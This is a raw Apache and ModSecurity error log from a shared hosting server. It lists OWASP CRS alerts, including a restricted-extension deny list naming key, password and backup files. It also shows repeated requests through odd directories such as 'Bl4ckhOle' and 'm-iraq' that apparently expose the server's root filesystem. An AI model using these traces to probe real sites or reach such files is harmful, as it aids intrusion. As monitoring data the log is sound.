[Fri Jul 17 10:38:44.314401 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2019/02/Posing-for-a-photo-with-the-Tri-forces-1-e1549883691898.jpg"] [unique_id "alm43PrJf6iLdwVV9Zl8XwAAABc"]
[Fri Jul 17 10:38:44.314762 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2019/02/Posing-for-a-photo-with-the-Tri-forces-1-e1549883691898.jpg"] [unique_id "alm43PrJf6iLdwVV9Zl8XwAAABc"]
[Fri Jul 17 10:38:44.315181 2026] [security2:error] [pid 2081387:tid 2081387] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2019/02/Posing-for-a-photo-with-the-Tri-forces-1-e1549883691898.jpg"] [unique_id "alm43PrJf6iLdwVV9Zl8XwAAABc"]
[Fri Jul 17 10:38:44.642465 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:44.866937 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:44.943863 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:46.091493 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 57.141.18.82:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/node0/memory127/node0/memory120/node0/cpu1/crash_notes_size
[Fri Jul 17 10:38:46.239039 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 57.141.18.123:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory110/subsystem/devices/memory60/subsystem/devices/memory88/subsystem/drivers_probe
[Fri Jul 17 10:38:46.813471 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:46.871190 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:52596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:47.459633 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2021/12/cvr-9-e1639129409790.jpg"] [unique_id "alm430PK-OIDVxiTM0dyAAAAABY"]
[Fri Jul 17 10:38:47.460076 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2021/12/cvr-9-e1639129409790.jpg"] [unique_id "alm430PK-OIDVxiTM0dyAAAAABY"]
[Fri Jul 17 10:38:47.498791 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2021/12/cvr-9-e1639129409790.jpg"] [unique_id "alm430PK-OIDVxiTM0dyAAAAABY"]
[Fri Jul 17 10:38:48.381326 2026] [security2:error] [pid 2075690:tid 2075690] [client 57.141.18.66:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory118/subsystem/devices/memory34/subsystem/devices/memory122/subsystem/drivers/"] [unique_id "alm44ByL4_TKNgi7OLI51gAAAB4"]
[Fri Jul 17 10:38:48.381376 2026] [security2:error] [pid 2075690:tid 2075690] [client 57.141.18.66:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory118/subsystem/devices/memory34/subsystem/devices/memory122/subsystem/drivers/"] [unique_id "alm44ByL4_TKNgi7OLI51gAAAB4"]
[Fri Jul 17 10:38:48.873966 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:50.419418 2026] [ssl:error] [pid 2081373:tid 2081373] (70014)End of file found: [client 66.85.158.91:52798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:52.593861 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:53.362408 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:42250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:56.149293 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input3/event3/subsystem/input6/device/modalias"] [unique_id "alm46B3_6y13_d3Np4_7GwAAAAE"]
[Fri Jul 17 10:38:56.149339 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input3/event3/subsystem/input6/device/modalias"] [unique_id "alm46B3_6y13_d3Np4_7GwAAAAE"]
[Fri Jul 17 10:38:56.149492 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:42354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:58.708850 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:42460] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:00.092321 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:00.629904 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/subsystem/input1/input1::numlock/device/phys"] [unique_id "alm47HHGgRvC9MVf3SzKpwAAAAI"]
[Fri Jul 17 10:39:00.629955 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/subsystem/input1/input1::numlock/device/phys"] [unique_id "alm47HHGgRvC9MVf3SzKpwAAAAI"]
[Fri Jul 17 10:39:00.660767 2026] [ssl:error] [pid 2075723:tid 2075723] (5)Input/output error: [client 66.85.158.91:42532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:01.086190 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:01.306324 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:01.659366 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:02.067831 2026] [security2:error] [pid 2075978:tid 2075978] [client 223.181.77.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alm46mFjrl6DCT-Pyn8WrgAAAAo"]
[Fri Jul 17 10:39:02.067887 2026] [security2:error] [pid 2075978:tid 2075978] [client 223.181.77.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alm46mFjrl6DCT-Pyn8WrgAAAAo"]
[Fri Jul 17 10:39:02.093179 2026] [core:error] [pid 2081387:tid 2081387] (13)Permission denied: [client 57.141.18.93:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory14/subsystem/devices/memory120/node0/memory117/subsystem/drivers_probe
[Fri Jul 17 10:39:02.570192 2026] [ssl:error] [pid 2079960:tid 2079960] (70014)End of file found: [client 66.85.158.91:44728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:03.653464 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:03.853292 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:03.894013 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:44846] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:04.269247 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input6/subsystem/input1/name"] [unique_id "alm48B3_6y13_d3Np4_7JwAAAAE"]
[Fri Jul 17 10:39:04.269289 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input6/subsystem/input1/name"] [unique_id "alm48B3_6y13_d3Np4_7JwAAAAE"]
[Fri Jul 17 10:39:04.527268 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:04.589501 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:04.727327 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:44874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:05.772257 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:05.818961 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:44920] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:07.752964 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:07.875016 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:08.855025 2026] [ssl:error] [pid 2075711:tid 2075711] (5)Input/output error: [client 66.85.158.91:45050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:10.000440 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:10.838645 2026] [security2:error] [pid 2076231:tid 2076231] [client 103.95.165.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alm49mG27nIfbW_ExyiKQQAAABM"]
[Fri Jul 17 10:39:10.838694 2026] [security2:error] [pid 2076231:tid 2076231] [client 103.95.165.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alm49mG27nIfbW_ExyiKQQAAABM"]
[Fri Jul 17 10:39:10.903895 2026] [ssl:error] [pid 2080166:tid 2080166] (70014)End of file found: [client 66.85.158.91:45136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:14.362579 2026] [security2:error] [pid 2076231:tid 2076231] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4-WG27nIfbW_ExyiKRAAAABM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1183&page_105=1071
[Fri Jul 17 10:39:14.362616 2026] [security2:error] [pid 2076231:tid 2076231] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm4-WG27nIfbW_ExyiKRAAAABM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1183&page_105=1071
[Fri Jul 17 10:39:15.674979 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:36266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:17.717104 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:18.082025 2026] [security2:error] [pid 2081373:tid 2081373] [client 111.223.181.110:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/jflickrfeed.min.js"] [unique_id "alm4_kPK-OIDVxiTM0dyGgAAABY"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:39:18.082066 2026] [security2:error] [pid 2081373:tid 2081373] [client 111.223.181.110:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/jflickrfeed.min.js"] [unique_id "alm4_kPK-OIDVxiTM0dyGgAAABY"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:39:19.866642 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:20.159436 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:20.266616 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:20.885410 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 47.82.13.99:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:69/subsystem/input0/device/driver/unbind
[Fri Jul 17 10:39:21.190073 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:37012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:21.310983 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:22.023544 2026] [security2:error] [pid 2081387:tid 2081387] [client 46.161.50.108:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/aaa9"] [unique_id "alm5AvrJf6iLdwVV9Zl8gwAAABc"]
[Fri Jul 17 10:39:22.276893 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:22.397814 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:22.964896 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:22.993456 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:23.058576 2026] [security2:error] [pid 2075978:tid 2075978] [client 47.128.48.161:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php81/etc/php.d.all/enchant.ini"] [unique_id "alm5A2Fjrl6DCT-Pyn8WugAAAAo"]
[Fri Jul 17 10:39:23.059338 2026] [security2:error] [pid 2075978:tid 2075978] [client 47.128.48.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php81/etc/php.d.all/enchant.ini"] [unique_id "alm5A2Fjrl6DCT-Pyn8WugAAAAo"]
[Fri Jul 17 10:39:23.064826 2026] [security2:error] [pid 2076132:tid 2076132] [client 46.161.50.108:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/aab9"] [unique_id "alm5AwTUp7iFPeTAJ9d4qgAAAAU"]
[Fri Jul 17 10:39:23.151523 2026] [security2:error] [pid 2075978:tid 2075978] [client 47.128.48.161:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php81/etc/php.d.all/enchant.ini"] [unique_id "alm5A2Fjrl6DCT-Pyn8WugAAAAo"]
[Fri Jul 17 10:39:24.701372 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:25.176215 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:26.313653 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 47.82.13.114:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:36/subsystem/ttyS3/device/subsystem/uevent
[Fri Jul 17 10:39:26.426405 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:36138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:26.715145 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 47.82.53.62:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/firmware_node/physical_node/driver/bind
[Fri Jul 17 10:39:28.371754 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:28.910265 2026] [core:error] [pid 2081358:tid 2081358] (13)Permission denied: [client 47.82.15.15:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:22/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 10:39:28.929410 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:36260] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:29.256169 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:29.563078 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:36290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:32.158443 2026] [security2:error] [pid 2081387:tid 2081387] [client 57.141.18.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/subsystem/devices/memory112/subsystem/devices/memory88/node0/memory117/"] [unique_id "alm5DPrJf6iLdwVV9Zl8igAAABc"]
[Fri Jul 17 10:39:32.158482 2026] [security2:error] [pid 2081387:tid 2081387] [client 57.141.18.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/subsystem/devices/memory112/subsystem/devices/memory88/node0/memory117/"] [unique_id "alm5DPrJf6iLdwVV9Zl8igAAABc"]
[Fri Jul 17 10:39:32.744774 2026] [ssl:error] [pid 2075705:tid 2075705] (70014)End of file found: [client 66.85.158.91:38348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:34.460842 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:38440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:34.752320 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:38458] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:34.790327 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:36.502521 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:36.623397 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:36.730304 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:39.551154 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:39.986597 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:38594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:40.507100 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:40.924951 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:41.078178 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:42.399160 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:39:42.711374 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:56908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:47.679274 2026] [security2:error] [pid 2081358:tid 2081358] [client 57.141.18.40:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/subsystem/devices/memory41/node0/memory126/subsystem/devices/memory133/"] [unique_id "alm5G5WREna-U6bV0tajUAAAABA"]
[Fri Jul 17 10:39:47.679312 2026] [security2:error] [pid 2081358:tid 2081358] [client 57.141.18.40:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory133/subsystem/devices/memory41/node0/memory126/subsystem/devices/memory133/"] [unique_id "alm5G5WREna-U6bV0tajUAAAABA"]
[Fri Jul 17 10:39:48.787781 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:57156] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:39:52.906572 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:51516] AH02013: coalesce failed to read from data bucket
